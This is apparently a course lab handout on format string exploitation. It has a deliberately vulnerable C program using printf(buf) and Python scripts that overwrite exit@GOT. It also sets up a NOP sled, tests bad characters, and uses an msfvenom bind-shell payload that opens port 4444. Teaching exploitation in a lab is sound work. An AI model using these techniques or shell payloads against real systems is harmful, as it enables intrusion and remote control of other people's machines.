In Kali, in a Terminal window, execute this command:
Enter the program shown below.nano fs.c
#include <stdio.h> #include <string.h> #include <stdlib.h> int main(int argc, char **argv){ char buf[1024]; strcpy(buf, argv[1]); printf(buf); printf("\n"); exit(0); }
Save the file with Ctrl+X, Y, Enter.
The program should run, printing "HELLO", as shown below.gcc -no-pie -z execstack -o fs fs.c sysctl -w kernel.randomize_va_space=0 ./fs HELLO
Execute these commands:
The first command prints hexadecimal values from the stack../fs %x%x%x%x ./fs %n%n%n%n
The second one writes values to locations in memory the stack values point to, and causes a "Segmentation fault", as shown below.
So we can read from RAM, write to RAM, and crash the program. Performing these actions more carefully can lead to owning the server.
The "AAAA" characters appear as the fourth parameter on the stack in hexadecimal form, as "41414141"../fs AAAA.%x.%x.%x.%x ./fs 1234.%x.%x.%x.%x
The second command verifies this by placing "1234" into the parameter.
Now we can control the fourth parameter on the stack, which will be the address in RAM to write to.
Also, notice here that the third parameter is "174", a three-digit number. That will be important later.
Execute these commands to open the program in the Gnu debugger and list its assembly code:
As shown below, the program calls "printf@plt" and later calls "exit@plt".gdb -q fs disassemble main q
Instead it uses structures named PLT (Procedure Linkage Table) and GOT (Global Offset Table) to hold the current addresses of library functions. For more details, see the "Sources" at the bottom of this project.
Let's view the Dynamic Relocation entries with objdump:
As shown below, the address of "exit" is stored at 0x0804a014. If we can write to that address, we can take over the program's execution when it calls "exit@plt".objdump -R fs
As shown below, the value changes to 0x00000012.gdb -q fs break * main + 76 x/1x 0x0804a014 run $'\x14\xa0\x04\x08%x%x%x%n' x/1x 0x0804a014 q y
Evidently the program had printed 0x00000012 bytes, or 18 bytes in base 10.
The simplest way to write an arbitrary 32-bit word is to perform four writes, each targeting an address one byte larger.
That will build the word we want, one byte at a time.
In nano, enter this code, as shown below.nano f1.py
#!/usr/bin/python w1 = '\x14\xa0\x04\x08JUNK' w2 = '\x15\xa0\x04\x08JUNK' w3 = '\x16\xa0\x04\x08JUNK' w4 = '\x17\xa0\x04\x08JUNK' form = '%x%x%x%n%x%n%x%n%x%n' print w1 + w2 + w3 + w4 + form
Save the file with Ctrl+X, Y, Enter.
Execute these commands to observe the effect of this program in the debugger:
As shown below, the value changes to 0x4f473f37.chmod a+x f1.py gdb -q fs break * main + 76 run $(./f1.py) x/1x 0x0804a014 q y
Without any leading spaces, the code above writes 0x37 into the first byte of the target word, so to hit an arbitrary byte of b1 we need to add 256 + b1 - 0x37 zeroes. We also must subtract the length of the original printout, which is 8 bytes, for a final value of 256 + b1 - 0x2f
Execute this command:
In nano, enter this code, as shown below.nano f2.py
#!/usr/bin/python w1 = '\x14\xa0\x04\x08JUNK' w2 = '\x15\xa0\x04\x08JUNK' w3 = '\x16\xa0\x04\x08JUNK' w4 = '\x17\xa0\x04\x08JUNK' b1 = 0xaa b2 = 0xbb b3 = 0xcc b4 = 0xdd n1 = 256 + b1 - 0x2f n2 = 256*2 + b2 - n1 - 0x2f n3 = 256*3 + b3 - n1 - n2 - 0x2f n4 = 256*4 + b4 - n1 - n2 - n3 - 0x2f form = '%x%x%' + str(n1) + 'x%n%' + str(n2) form += 'x%n%' + str(n3) + 'x%n%' + str(n4) + 'x%n' print w1 + w2 + w3 + w4 + form
Save the file with Ctrl+X, Y, Enter.
Execute these commands to observe the effect of this program in the debugger:
As shown below, the exit@got.plt pointer is close to the desired value of 0xddccbbaa, but every byte is one larger than expected.chmod a+x f2.py gdb -q fs break * main + 76 run $(./f2.py) x/1x 0x0804a014 q y
Adjust your code as needed to hit the target value of 0xddccbbaa.
Execute this command:
In nano, enter this code, as shown below.nano f3.py
#!/usr/bin/python w1 = '\x14\xa0\x04\x08JUNK' w2 = '\x15\xa0\x04\x08JUNK' w3 = '\x16\xa0\x04\x08JUNK' w4 = '\x17\xa0\x04\x08JUNK' b1 = 0xaa b2 = 0xbb b3 = 0xcc b4 = 0xdd n1 = 256 + b1 - 0x2f - 1 n2 = 256*2 + b2 - n1 - 0x2f - 1 n3 = 256*3 + b3 - n1 - n2 - 0x2f - 1 n4 = 256*4 + b4 - n1 - n2 - n3 - 0x2f - 1 form = '%x%x%' + str(n1) + 'x%n%' + str(n2) form += 'x%n%' + str(n3) + 'x%n%' + str(n4) + 'x%n' print w1 + w2 + w3 + w4 + form
Save the file with Ctrl+X, Y, Enter.
Execute these commands to observe the effect of this program in the debugger:
As shown below, the pointer now hits desired value of 0xddccbbaa.chmod a+x f3.py gdb -q fs break * main + 76 run $(./f3.py) x/1x 0x0804a014 q y
Click on the host system's desktop to make it active.
Press the PrintScrn key to copy the whole desktop to the clipboard.
YOU MUST SUBMIT A FULL-SCREEN IMAGE FOR FULL CREDIT!
Paste the image into Paint.
Save the document with the filename "YOUR NAME Proj 6a", replacing "YOUR NAME" with your real name.
At first, we'll use a NOP sled and a block of BRK instructions (\xcc).
Execute this command:
In nano, enter this code, as shown below.nano f4.py
#!/usr/bin/python w1 = '\x14\xa0\x04\x08JUNK' w2 = '\x15\xa0\x04\x08JUNK' w3 = '\x16\xa0\x04\x08JUNK' w4 = '\x17\xa0\x04\x08JUNK' b1 = 0xaa b2 = 0xbb b3 = 0xcc b4 = 0xdd n1 = 256 + b1 - 0x2f - 1 n2 = 256*2 + b2 - n1 - 0x2f - 1 n3 = 256*3 + b3 - n1 - n2 - 0x2f - 1 n4 = 256*4 + b4 - n1 - n2 - n3 - 0x2f - 1 form = '%x%x%' + str(n1) + 'x%n%' + str(n2) form += 'x%n%' + str(n3) + 'x%n%' + str(n4) + 'x%n' nopsled = '\x90' * 100 shellcode = '\xcc' * 250 print w1 + w2 + w3 + w4 + form + nopsled + shellcode
Save the file with Ctrl+X, Y, Enter.
Execute these commands to observe the effect of this program in the debugger:
As shown below, the NOP sled is easily visible on the stack. A good address to hit the middle of the NOPs is 0xbffff110.chmod a+x f4.py gdb -q fs break * main + 76 run $(./f4.py) x/1x 0x0804a014 x/200x $esp q y
Execute this command:
In nano, enter this code, as shown below.nano f5.py
#!/usr/bin/python w1 = '\x14\xa0\x04\x08JUNK' w2 = '\x15\xa0\x04\x08JUNK' w3 = '\x16\xa0\x04\x08JUNK' w4 = '\x17\xa0\x04\x08JUNK' b1 = 0x10 b2 = 0xf1 b3 = 0xff b4 = 0xbf n1 = 256 + b1 - 0x2f - 1 n2 = 256*2 + b2 - n1 - 0x2f - 1 n3 = 256*3 + b3 - n1 - n2 - 0x2f - 1 n4 = 256*4 + b4 - n1 - n2 - n3 - 0x2f - 1 form = '%x%x%' + str(n1) + 'x%n%' + str(n2) form += 'x%n%' + str(n3) + 'x%n%' + str(n4) + 'x%n' nopsled = '\x90' * 100 shellcode = '\xcc' * 250 print w1 + w2 + w3 + w4 + form + nopsled + shellcode
Save the file with Ctrl+X, Y, Enter.
Execute these commands to observe the effect of this program in the debugger:
As shown below, the program jumps into the NOP sled and stops when it hits the 0xcc values--that is, at the dummy shellcode.chmod a+x f5.py gdb -q fs break * main + 76 run $(./f5.py) x/1x 0x0804a014 continue q y
We know a null byte terminates strings in C, so there's no need to test that. But how many of the remaining characters can we safely use?
To find out, execute this command:
Insert this code:nano bad.py
#!/usr/bin/python w1 = '\x14\xa0\x04\x08JUNK' w2 = '\x15\xa0\x04\x08JUNK' w3 = '\x16\xa0\x04\x08JUNK' w4 = '\x17\xa0\x04\x08JUNK' b1 = 0x10 b2 = 0xef b3 = 0xff b4 = 0xbf n1 = 256 + b1 - 0x2f - 1 n2 = 256*2 + b2 - n1 - 0x2f - 1 n3 = 256*3 + b3 - n1 - n2 - 0x2f - 1 n4 = 256*4 + b4 - n1 - n2 - n3 - 0x2f - 1 form = '%x%x%' + str(n1) + 'x%n%' + str(n2) form += 'x%n%' + str(n3) + 'x%n%' + str(n4) + 'x%n' nopsled = '\x90' * 95 shellcode = '' for i in range(1,256): shellcode += chr(i) print w1 + w2 + w3 + w4 + form + nopsled + shellcode
Save the file with Ctrl+X, Y, Enter.
Execute these commands to observe the effect of this program in the debugger:
As shown below, the NOP sled is visible, and the characters inject correctly, starting with "01" in the 32-bit word at location 0xbffff13c. However, after "08" the code stops. Apparently "09" is a bad character and breaks the injection.chmod a+x bad.py gdb -q fs break * main + 76 run $(./bad.py) x/100x $esp q y
Modify bad.py to start injecting characters at 10, as shown below.
Run the code in the debugger again, with the same breakpoint.
As shown below, none of the code was injected properly this time. ASCII 10 is also a bad character.
Modify bad.py to start at 11.
Run it in the debugger again.
The code injects correctly, starting with 0b (11 in hexadecimal), as shown below, and proceeding through "1f". But there it stops, showing the '\x20' is a bad character.
Modify bad.py to start at 33 and run it in the debugger again.
Now all the remaining characters inject properly, from '\x21' through '\xff', as shown below.
We must exclude these bad characters: '\x00\x09\x0a\x20'
I also found out experimentally that the exploit is more reliable with "PrependFork=true". Without this, the exploit tends to crash when the network connection is made. I think that's because the original process stops and the newly started process re-uses the RAM containing the exploit, and network traffic hits it.
To make that shellcode, execute this command:
msfvenom -p linux/x86/shell_bind_tcp -b '\x00\x09\x0a\x20' PrependFork=true -f python
Highlight the shellcode, right-click it, and click Copy, as shown above.
Execute these commands to create f6.py and edit it:
Remove the line beginning with "shellcode" and replace it with the lines you copied.cp f5.py f6.py nano f6.py
Add a "padding" line to keep the total length of the printed string constant, as shown below.
In the last line, change "shellcode" to "buf", and add the "padding" at the end.
Your file should resemble the image below.
Save the file with Ctrl+X, Y, Enter.
Execute these commands to observe the effect of this program in the debugger:
Note the address in exit@got.plt: it's 0xbfffef10, as shown below. That address is in the NOP sled, as it should be.gdb -q fs break * main + 76 run $(./f6.py) x/1x 0x0804a014 x/100x $esp
Also, the shellcode has all injected properly, starting with '\xd9\xcf' and ending with '\x50\x0d' (your values will be different).
Execute these commands:
The process exits normally, and there is now a process listening on port 4444, as shown below.continue q netstat -pant
Click on the host system's desktop to make it active.
Press the PrintScrn key to copy the whole desktop to the clipboard.
YOU MUST SUBMIT A FULL-SCREEN IMAGE FOR FULL CREDIT!
Paste the image into Paint.
Save the document with the filename "YOUR NAME Proj 6b", replacing "YOUR NAME" with your real name.
Format String Exploitation-Tutorial By Saif El-Sherei